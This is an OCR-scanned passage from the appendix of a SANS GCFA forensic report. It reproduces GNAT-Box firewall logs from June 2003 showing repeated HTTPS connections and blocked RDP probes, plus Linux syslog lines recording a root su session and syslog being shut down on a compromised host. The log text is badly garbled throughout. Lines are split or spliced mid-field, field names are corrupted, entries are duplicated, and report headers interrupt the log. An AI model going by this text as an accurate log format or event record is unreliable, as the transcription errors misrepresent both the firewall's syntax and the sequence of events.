Jun 29 15:04:56 192.168.1.1 id=firewall time="2003-06-29 15:04:56" fw="GNAT-Box" pri=6 flt_type=RAF flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35015 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:04:56 192.168.1.1 id=firewall time="2003-06-29 15:04:56" fw="GNAT-Box" pri=6 flt_type=RAF flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35016 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:04:56 192.168.1.1 id=firewall time="2003-06-29 15:04:56" fw="GNAT-Box" pri=6 msg="FILT ER: 61 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx* type=mgmt

© SANS Institute 2004, As part of GIAC practical repository. Author retains full rights.
Jun 29 15:06:00 192.168.1.1 id=firewall time="2003-06-29 15:06:00" fw="GNAT-Box" pri=6 msg="FILT ER: 70 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to 1x" type=mgmt
Jun 29 15:06:00 192.168.1.1 id=firewall time="2003-06-29 15:06:00" fw="GNAT-Box" pri=4 flt_type=RAF flt_action=pass msg="Accept RAF (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35026 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:06:00 192.168.1.1 id=firewall time="2003-06-29 15:06:00" fw="GNAT-Box" pri=6 msg="FILT ER: 71 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to 1x" type=mgmt
Jun 29 15:06:00 192.168.1.1 id=firewall time="2003-06-29 15:06:00" fw="GNAT-Box" pri=4 flt_type=RAF flt_action=pass msg="Accept RAF (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35026 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:06:00 192.168.1.1 id=firewall time="2003-06-29 15:06:00" fw="GNAT-Box" pri=6 msg="FILT ER: 72 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to 1x" type=mgmt
Jun 29 15:06:00 192.168.1.1 id=firewall time="2003-06-29 15:06:00" fw="GNAT-Box" pri=4 flt_type=RAF flt_action=pass msg="Accept RAF (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35026 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:06:00 192.168.1.1 id=firewall time="2003-06-29 15:06:00" fw="GNAT-Box" pri=6 msg="FILT ER: 73 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to 1x" type=mgmt
Jun 29 15:06:00 192.168.1.1 id=firewall time="2003-06-29 15:06:00" fw="GNAT-Box" pri=4 flt_type=RAF flt_action=pass msg="Accept RAF (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35026 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:06:00 192.168.1.1 id=firewall time="2003-06-29 15:06:00" fw="GNAT-Box" pri=6 msg="FILT ER: 74 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to 1x" type=mgmt
Jun 29 15:06:00 192.168.1.1 id=firewall time="2003-06-29 15:06:00" fw="GNAT-Box" pri=4 flt_type=RAF flt_action=pass msg="Accept RAF (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35026 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:06:00 192.168.1.1 id=firewall time="2003-06-29 15:06:00" fw="GNAT-Box" pri=6 msg="FILT ER: 75 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to 1x" type=mgmt
Jun 29 15:06:00 192.168.1.1 id=firewall time="2003-06-29 15:06:00" fw="GNAT-Box" pri=4 flt_type=RAF flt_action=pass msg="Accept RAF (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35026 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:06:00 192.168.1.1 id=firewall time="2003-06-29 15:06:00" fw="GNAT-Box" pri=6 msg="FILT ER: 76 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to 1x" type=mgmt
Jun 29 15:06:00 192.168.1.1 id=firewall time="2003-06-29 15:06:00" fw="GNAT-Box" pri=4 flt_type=RAF flt_action=pass msg="Accept RAF (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35026 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:06:00 192.168.1.1 id=firewall time="2003-06-29 15:06:00" fw="GNAT-Box" pri=6 msg="FILT ER: 77 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to 1x" type=mgmt
Jun 29 15:06:00 192.168.1.1 id=firewall time="2003-06-29 15:06:00" fw="GNAT-Box" pri=4 flt_type=RAF flt_action=pass msg="Accept RAF (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35026 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:06:00 192.168.1.1 id=firewall time="2003-06-29 15:06:00" fw="GNAT-Box" pri=6 msg="FILT ER: 78 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to 1x" type=mgmt
Jun 29 15:06:00 192.168.1.1 id=firewall time="2003-06-29 15:06:00" fw="GNAT-Box" pri=4 flt_type=RAF flt_action=pass msg="Accept RAF (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35026 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:06:00 192.168.1.1 id=firewall time="2003-06-29 15:06:00" fw="GNAT-Box" pri=6 msg="FILT ER: 79 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to 1x" type=mgmt
Jun 29 15:06:00 192.168.1.1 id=firewall time="2003-06-29 15:06:00" fw="GNAT-Box" pri=4 flt_type=RAF flt_action=pass msg="Accept RAF (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35026 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:06:00 192.168.1.1 id=firewall time="2003-06-29 15:06:00" fw="GNAT-Box" pri=6 msg="FILT ER: 80 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to 1x" type=mgmt
EnCase Computer Analysis Report

Sans GCFA Cert Assignment: EnCase Computer Analysis Report

Page 317

© SANS Institute 2004, Author retains full rights.

Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46

© SANS Institute 2004, As part of GIAC practical repository. Author retains full rights.

Jun 29 15:06:02 192.168.1.1 id=firewall time="2003-06-29 15:06:02" fw="GNAT-Box" pri=6 msg="FILT
ER: 79 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
Jun 29 15:06:02 192.168.1.1 id=firewall time="2003-06-29 15:06:02" fw="GNAT-Box" pri=4 flt_type=
Raf flt_action=pass msg="Accept RAF (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35035 ds
ipport=443/tcp src=XXX.XXX.108.64 srcport=35034 dstport=443 interface=sis1 flags=0x2
Jun 29 15:06:02 192.168.1.1 id=firewall time="2003-06-29 15:06:02" fw="GNAT-Box" pri=6 msg="FILT
ER: 80 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
Jun 29 15:06:02 192.168.1.1 id=firewall time="2003-06-29 15:06:02" fw="GNAT-Box" pri=6 msg="FILT
ER: 84 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
Jun 29 15:06:03 192.168.1.1 id=firewall time="2003-06-29 15:06:03" fw="GNAT-Box" pri=6 msg="FILT
ER: 80 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
Jun 29 15:06:03 192.168.1.1 id=firewall time="2003-06-29 15:06:03" fw="GNAT-Box" pri=6 msg="FILT
ER: 83 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
Jun 29 15:06:03 192.168.1.1 id=firewall time="2003-06-29 15:06:03" fw="GNAT-Box" pri=6 msg="FILT
ER: 84 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
Jun 29 15:06:03 192.168.1.1 id=firewall time="2003-06-29 15:06:03" fw="GNAT-Box" pri=6 msg="FILT
ER: 85 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
Jun 29 15:06:04 192.168.1.1 id=firewall time="2003-06-29 15:06:04" fw="GNAT-Box" pri=6 msg="FILT
ER: 86 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
-Jun 29 15:06:04 192.168.1.1 id=firewall time="2003-06-29 15:06:04" fw="GNAT-Box" pri=6 msg="FILT
ER: 85 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
Jun 29 15:06:04 192.168.1.1 id=firewall time="2003-06-29 15:06:04" fw="GNAT-Box" pri=4 flt_type=
Raf flt_action=pass msg="Accept RAF (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35035 ds
ipport=443/tcp src=XXX.XXX.108.64 srcport=35034 dstport=443 interface=sis1 flags=0x2
Jun 29 15:06:04 192.168.1.1 id=firewall time="2003-06-29 15:06:04" fw="GNAT-Box" pri=6 msg="FILT
ER: 84 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
Jun 29 15:06:04 192.168.1.1 id=firewall time="2003-06-29 15:06:04" fw="GNAT-Box" pri=6 msg="FILT

EnCase Computer Analysis Report

Sans GCFA Cert Assignment: EnCase Computer Analysis Report

Page 320

RAF flt_action=block msg="Received (24)" rule=24 proto=3389/tcp src=80.6.101.56 srccport=4918 dst=XXX.XXX.5.32 dstport=3389 interface=sis1 attribute="alarm" flags=0x2
Jun 29 15:10:16 192.168.1.1 id=firewall time="2003-06-29 15:10:16" fw="GNAT-Box" pri=6 msg="FILT ER: 60 matches for 24: Deny, warning ANY ALL, alarm from ANY_IP to ANY_IP" type=mgmt
Jun 29 15:10:16 192.168.1.1 id=firewall time="2003-06-29 15:10:16" fw="GNAT-Box" pri=4 flt_type=RAF flt_action=block msg="Block RAF (24)" rule=24 proto=3389/tcp src=80.6.101.56 srccport=4918 dst=XXX.XXX.5.32 dstport=3389 interface=sis1 attribute="alarm" flags=0x2
Jun 29 15:10:16 192.168.1.1 id=firewall time="2003-06-29 15:10:16" fw="GNAT-Box" pri=6 msg="FILT ER: 61 matches for 24: Deny, warning ANY ALL, alarm from ANY_IP to ANY_IP" type=mgmt
Jun 29 15:10:16 192.168.1.1 id=firewall time="2003-06-29 15:10:16" fw="GNAT-Box" pri=4 flt_type=RAF flt_action=block msg="Block RAF (24)" rule=24 proto=3389/tcp src=80.6.101.56 srccport=4918 dst=XXX.XXX.5.32 dstport=3389 interface=sis1 attribute="alarm" flags=0x2
Jun 29 15:10:22 192.168.1.1 id=firewall time="2003-06-29 15:10:22" fw="GNAT-Box" pri=6 msg="FILT ER: 62 matches for 24: Deny, warning ANY ALL, alarm from ANY_IP to ANY_IP" type=mgmt
Jun 29 15:10:22 192.168.1.1 id=firewall time="2003-06-29 15:10:22" fw="GNAT-Box" pri=4 flt_type=RAF flt_action=block msg="Block RAF (24)" rule=24 proto=3389/tcp src=80.6.101.56 srccport=4918 dst=XXX.XXX.5.32 dstport=3389 interface=sis1 attribute="alarm" flags=0x2
Jun 29 15:16:02 192.168.1.1 id=firewall time="2003-06-29 15:16:02" fw="GNAT-Box" pri=6 msg="FILT ER: 101 matches for 24: Accept, warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
Jun 29 15:16:02 192.168.1.1 id=firewall time="2003-06-29 15:16:02" fw="GNAT-Box" pri=4 flt_type=RAF flt_action=block msg="Received (24)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35057 dstport=443 interface=sis1 flags=0x2
Jun 29 15:16:02 192.168.1.1 id=firewall time="2003-06-29 15:16:02" fw="GNAT-Box" pri=6 msg="FILT ER: 102 matches for 24: Accept, warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
Jun 29 15:16:02 192.168.1.1 id=firewall time="2003-06-29 15:16:02" fw="GNAT-Box" pri=4 flt_type=RAF flt_action=block msg="Received (24)" rule=3 proto=18/tcp src=XXX.XXX.119.81 srcport=1469 dstport=18 interface=sis1 flags=0x2
Jun 29 15:16:02 192.168.1.1 id=firewall time="2003-06-29 15:16:02" fw="GNAT-Box" pri=6 msg="FILT ER: 103 matches for 3: Accept, warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
Jun 29 15:16:02 192.168.1.1 id=firewall time="2003-06-29 15:16:02" fw="GNAT-Box" pri=4 flt_type=RAF flt_action=block msg="Received (3)" rule=3 proto=3410/tcp src=216.23.200.152 srccport=3196 dst=XXX.XXX.5.32 dstport=3410 interface=sis1 attribute="alarm" flags=0x2
Jun 29 15:16:02 192.168.1.1 id=firewall time="2003-06-29 15:16:02" fw="GNAT-Box" pri=6 msg="FILT ER: 104 matches for 3: Accept, warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
Jun 29 15:16:02 192.168.1.1 id=firewall time="2003-06-29 15:16:02" fw="GNAT-Box" pri=4 flt_type=RAF flt_action=block msg="Received (3)" rule=3 proto=3410/tcp src=216.23.200.152 srccport=3196 dst=XXX.XXX.5.32 dstport=3410 interface=sis1 attribute="alarm" flags=0x2
Jun 29 15:16:02 192.168.1.1 id=firewall time="2003-06-29 15:16:02" fw="GNAT-Box" pri=6 msg="FILT ER: 105 matches for 3: Accept, warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
Jun 29 15:16:02 192.168.1.1 id=firewall time="2003-06-29 15:16:02" fw="GNAT-Box" pri=4 flt_type=RAF flt_action=block msg="Received (3)" rule=3 proto=3410/tcp src=216.23.200.152 srccport=3196 dst=XXX.XXX.5.32 dstport=3410 interface=sis1 attribute="alarm" flags=0x2
Jun 29 15:17:03 192.168.1.1 id=firewall time="2003-06-29 15:17:03" fw="GNAT-Box" pri=6 msg="FILT ER: 106 matches for 3: Accept, warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
Jun 29 15:17:03 192.168.1.1 id=firewall time="2003-06-29 15:17:03" fw="GNAT-Box" pri=4 flt_type=RAF flt_action=block msg="Received (3)" rule=3 proto=3410/tcp src=216.23.200.152 srccport=3196 dst=XXX.XXX.5.32 dstport=3410 interface=sis1 attribute="alarm" flags=0x2

© SANS Institute 2004, Author retains full rights.
RAF flt_action=pass msg="Accept RAF (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srctype=35059 dst=XXX.XXX.5.35 distport=443 interface=sis1 flags=0x2
Jun 29 15:19:04 192.168.1.1 id=firewall time="2003-06-29 15:19:04" fw="GNAT-Box" pri=6 flt_type= RAF flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srctype=35060 dst=XXX.XXX.5.35 distport=443 interface=sis1 flags=0x2
Jun 29 15:19:04 192.168.1.1 id=firewall time="2003-06-29 15:19:04" fw="GNAT-Box" pri=6 msg="FILT ER: 107 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
Jun 29 15:19:04 192.168.1.1 id=firewall time="2003-06-29 15:19:04" fw="GNAT-Box" pri=4 flt_type= RAF flt_action=pass msg="Accept RAF (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srctype=35061 dst=XXX.XXX.5.35 distport=443 interface=sis1 flags=0x2
Jun 29 15:19:04 192.168.1.1 id=firewall time="2003-06-29 15:19:04" fw="GNAT-Box" pri=6 msg="FILT ER: 108 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
Jun 29 15:19:04 192.168.1.1 id=firewall time="2003-06-29 15:19:04" fw="GNAT-Box" pri=4 flt_type= RAF flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srctype=35062 dst=XXX.XXX.5.35 distport=443 interface=sis1 flags=0x2
Jun 29 15:19:05 192.168.1.1 id=firewall time="2003-06-29 15:19:05" fw="GNAT-Box" pri=6 msg="FILT ER: 109 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
Jun 29 15:19:05 192.168.1.1 id=firewall time="2003-06-29 15:19:05" fw="GNAT-Box" pri=4 flt_type= RAF flt_action=pass msg="Received RAF (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srctype=35063 dst=XXX.XXX.5.35 distport=443 interface=sis1 flags=0x2
Jun 29 15:19:05 192.168.1.1 id=firewall time="2003-06-29 15:19:05" fw="GNAT-Box" pri=6 msg="FILT ER: 110 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
Jun 29 15:19:05 192.168.1.1 id=firewall time="2003-06-29 15:19:05" fw="GNAT-Box" pri=4 flt_type= RAF flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srctype=35064 dst=XXX.XXX.5.35 distport=443 interface=sis1 flags=0x2
Jun 29 15:19:05 192.168.1.1 id=firewall time="2003-06-29 15:19:05" fw="GNAT-Box" pri=6 msg="FILT ER: 111 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
Jun 29 15:19:05 192.168.1.1 id=firewall time="2003-06-29 15:19:05" fw="GNAT-Box" pri=4 flt_type= RAF flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srctype=35065 dst=XXX.XXX.5.35 distport=443 interface=sis1 flags=0x2
Jun 29 15:19:05 192.168.1.1 id=firewall time="2003-06-29 15:19:05" fw="GNAT-Box" pri=6 msg="FILT ER: 112 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
Jun 29 15:19:05 192.168.1.1 id=firewall time="2003-06-29 15:19:05" fw="GNAT-Box" pri=4 flt_type= RAF flt_action=pass msg="Received RAF (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srctype=35066 dst=XXX.XXX.5.35 distport=443 interface=sis1 flags=0x2
Jun 29 15:19:05 192.168.1.1 id=firewall time="2003-06-29 15:19:05" fw="GNAT-Box" pri=6 msg="FILT ER: 113 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
Jun 29 15:19:05 192.168.1.1 id=firewall time="2003-06-29 15:19:05" fw="GNAT-Box" pri=4 flt_type= RAF flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srctype=35067 dst=XXX.XXX.5.35 distport=443 interface=sis1 flags=0x2
Jun 29 15:19:06 192.168.1.1 id=firewall time="2003-06-29 15:19:06" fw="GNAT-Box" pri=6 flt_type= RAF flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srctype=35068 dst=XXX.XXX.5.35 distport=443 interface=sis1 flags=0x2

© SANS Institute 2004, As part of GIAC practical repository. Author retains full rights.
Jun 29 15:19:06 192.168.1.1 id=firewall time="2003-06-29 15:19:06" fw="GNAT-Box" prl=6 msg="FILT
ER: 115 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
Jun 29 15:19:06 192.168.1.1 id=firewall time="2003-06-29 15:19:06" fw="GNAT-Box" prl=4 flt_type=
RAP flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35068 ds
    XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:19:07 192.168.1.1 id=firewall time="2003-06-29 15:19:07" fw="GNAT-Box" prl=6 msg="FILT
ER: 116 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
Jun 29 15:19:07 192.168.1.1 id=firewall time="2003-06-29 15:19:07" fw="GNAT-Box" prl=4 flt_type=
RAP flt_action=pass msg="Receive RAF (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35069 ds
    XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:19:07 192.168.1.1 id=firewall time="2003-06-29 15:19:07" fw="GNAT-Box" prl=6 msg="FILT
ER: 117 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
Jun 29 15:19:07 192.168.1.1 id=firewall time="2003-06-29 15:19:07" fw="GNAT-Box" prl=4 flt_type=
RAP flt_action=pass msg="Receive RAF (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35070 ds
    XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:19:09 192.168.1.1 id=firewall time="2003-06-29 15:19:09" fw="GNAT-Box" pri=6 flt_type=ER flt_action=pass msg="Received (3)" rule=3 proto=tcp src=XXX.XXX.108.64 srcport=35077 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:19:09 192.168.1.1 id=firewall time="2003-06-29 15:19:09" fw="GNAT-Box" pri=6 msg="FILT: 124 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
Jun 29 15:19:09 192.168.1.1 id=firewall time="2003-06-29 15:19:09" fw="GNAT-Box" pri=4 flt_type=ER flt_action=pass msg="Accept RAF (3)" rule=3 proto=tcp src=XXX.XXX.108.64 srcport=35077 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:19:09 192.168.1.1 id=firewall time="2003-06-29 15:19:09" fw="GNAT-Box" pri=6 flt_type=ER flt_action=pass msg="Received (3)" rule=3 proto=tcp src=XXX.XXX.108.64 srcport=35078 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:19:09 192.168.1.1 id=firewall time="2003-06-29 15:19:09" fw="GNAT-Box" pri=6 msg="FILT: 131 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt

EnCase Computer Analysis Report

Sans GCFA Cert Assignment: EnCase Computer Analysis Report Page 323
Jun 29 15:19:11 192.168.1.1 id=firewall time="2003-06-29 15:19:11" fw="GNAT-Box" pri=4 flt_type=RAF flt_action=pass msg="Accept RAF (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srccport=35085 dst=XXX.XXX.5.35 dport=443 interface=sis1 flags=0x2
Jun 29 15:19:11 192.168.1.1 id=firewall time="2003-06-29 15:19:11" fw="GNAT-Box" pri=6 flt_type=RAF flt_action=pass msg="Accepted RAF (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srccport=35085 dst=XXX.XXX.5.35 dport=443 interface=sis1 flags=0x2
Jun 29 15:19:11 192.168.1.1 id=firewall time="2003-06-29 15:19:11" fw="GNAT-Box" pri=4 flt_type=RAF flt_action=pass msg="Accept RAF (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srccport=35085 dst=XXX.XXX.5.35 dport=443 interface=sis1 flags=0x2
Jun 29 15:19:11 192.168.1.1 id=firewall time="2003-06-29 15:19:11" fw="GNAT-Box" pri=6 msg="FILT ER: 133 matches for 3: Accept warning 'EXTERNAL/ALL' log from ANY_IP to 1x" type=mgmt
Jun 29 15:19:11 192.168.1.1 id=firewall time="2003-06-29 15:19:11" fw="GNAT-Box" pri=4 flt_type=RAF flt_action=pass msg="Accept RAF (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srccport=35085 dst=XXX.XXX.5.35 dport=443 interface=sis1 flags=0x2
Jun 29 15:19:12 192.168.1.1 id=firewall time="2003-06-29 15:19:12" fw="GNAT-Box" pri=6 flt_type=RAF flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srccport=35087 dst=XXX.XXX.5.35 dport=443 interface=sis1 flags=0x2
Jun 29 15:19:12 192.168.1.1 id=firewall time="2003-06-29 15:19:12" fw="GNAT-Box" pri=6 msg="FILT ER: 134 matches for 3: Accept warning 'EXTERNAL/ALL' log from ANY_IP to 1x" type=mgmt
Jun 29 15:19:12 192.168.1.1 id=firewall time="2003-06-29 15:19:12" fw="GNAT-Box" pri=4 flt_type=RAF flt_action=pass msg="Accept RAF (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srccport=35089 dst=XXX.XXX.5.35 dport=443 interface=sis1 flags=0x2
Jun 29 15:19:12 192.168.1.1 id=firewall time="2003-06-29 15:19:12" fw="GNAT-Box" pri=6 msg="FILT ER: 135 matches for 3: Accept warning 'EXTERNAL/ALL' log from ANY_IP to 1x" type=mgmt
Jun 29 15:19:12 192.168.1.1 id=firewall time="2003-06-29 15:19:12" fw="GNAT-Box" pri=4 flt_type=RAF flt_action=pass msg="Accepted RAF (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srccport=35087 dst=XXX.XXX.5.35 dport=443 interface=sis1 flags=0x2
Jun 29 15:19:12 192.168.1.1 id=firewall time="2003-06-29 15:19:12" fw="GNAT-Box" pri=6 msg="FILT ER: 136 matches for 3: Accept warning 'EXTERNAL/ALL' log from ANY_IP to 1x" type=mgmt
Jun 29 15:19:12 192.168.1.1 id=firewall time="2003-06-29 15:19:12" fw="GNAT-Box" pri=4 flt_type=RAF flt_action=pass msg="Accept RAF (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srccport=35089 dst=XXX.XXX.5.35 dport=443 interface=sis1 flags=0x2
Jun 29 15:19:12 192.168.1.1 id=firewall time="2003-06-29 15:19:12" fw="GNAT-Box" pri=6 msg="FILT ER: 137 matches for 3: Accept warning 'EXTERNAL/ALL' log from ANY_IP to 1x" type=mgmt
Jun 29 15:19:12 192.168.1.1 id=firewall time="2003-06-29 15:19:12" fw="GNAT-Box" pri=4 flt_type=RAF flt_action=pass msg="Accepted RAF (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srccport=35087 dst=XXX.XXX.5.35 dport=443 interface=sis1 flags=0x2
Jun 29 15:20:04 192.168.1.1 id=firewall time="2003-06-29 15:20:04" fw="GNAT-Box" pri=6 msg="FILT ER: 8 matches for 3: Accept debug 'DMZ/ALL' log from ANY_IP to ANY_IP" type=mgmt
Jun 29 15:20:04 192.168.1.1 id=firewall time="2003-06-29 15:20:04" fw="GNAT-Box" pri=6 msg="FILT ER: 7 matches for 3: Accept debug 'DMZ/ALL' log from ANY_IP to ANY_IP" type=mgmt

Logs showing syslog being shutdown on Linux 7.3 system

296)
Name       Unallocated Clusters
Entry Modified
Last Accessed
Last Written
Hash Value

Comment: Victim Logs from log Server - Syslog shutdown
Jun 29 15:20:54 192.168.2.15 kernel: request_module[net-pf-14]: waitpid(19602,...) failed, errno 1
Jun 29 15:20:57 192.168.2.15 su[1604]: session opened for user root by (uid=0)
Jun 29 15:21:13 192.168.2.15 exiting on signal 15
Logs after logging shutdown on Linux 7.3 system

Jun 29 15:20:33 192.168.1.1 id=firewall time="2003-06-29 15:20:33" fw="GNAT-Box" pri=6 flt_type=OBF flt_action=pass msg="Received (3)" rule=4 proto=80/tcp src=192.168.2.15 ssrcport=1061 dst=207.66.155.21 dstport=80 interface=sis2 flags=0x2
Jun 29 15:20:33 192.168.1.1 id=firewall time="2003-06-29 15:20:33" fw="GNAT-Box" pri=6 msg="FILT ER: 13 matches for 3: Accept debug 'DMZ' ALL log from ANY_IP to lx" type=msgmt
Jun 29 15:22:06 192.168.1.1 id=firewall time="2003-06-29 15:22:06" fw="GNAT-Box" pri=6 msg="FILT ER: 10 matches for 3: Accept debug 'DMZ' ALL log from ANY_IP to ANY_IP" type=msgmt
ER: 142 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
Jun 29 15:23:24 192.168.1.1 id=firewall time="2003 t=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
RAF flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35101 dst="XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:23:24 192.168.1.1 id=firewall time="2003 t=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
ER: 145 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
Jun 29 15:23:24 192.168.1.1 id=firewall time="2003 t=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
ER: 146 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
Jun 29 15:23:25 192.168.1.1 id=firewall time="2003 t=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
ER: 147 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
Jun 29 15:23:25 192.168.1.1 id=firewall time="2003 t=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
ER: 148 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
Jun 29 15:23:25 192.168.1.1 id=firewall time="2003 t=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
ER: 150 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
ENCASE Computer Analysis Report
Sans GCFA Cert Assignment/EnCase Computer Analysis Report Page 326

© SANS Institute 2004, As part of GIAC practical repository. Author retains full rights.
RAF flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35104 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:23:26 192.168.1.1 id=firewall time="2003-06-29 15:23:26" fw="GNAT-Box" pri=6 msg="FILT ER: 151 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
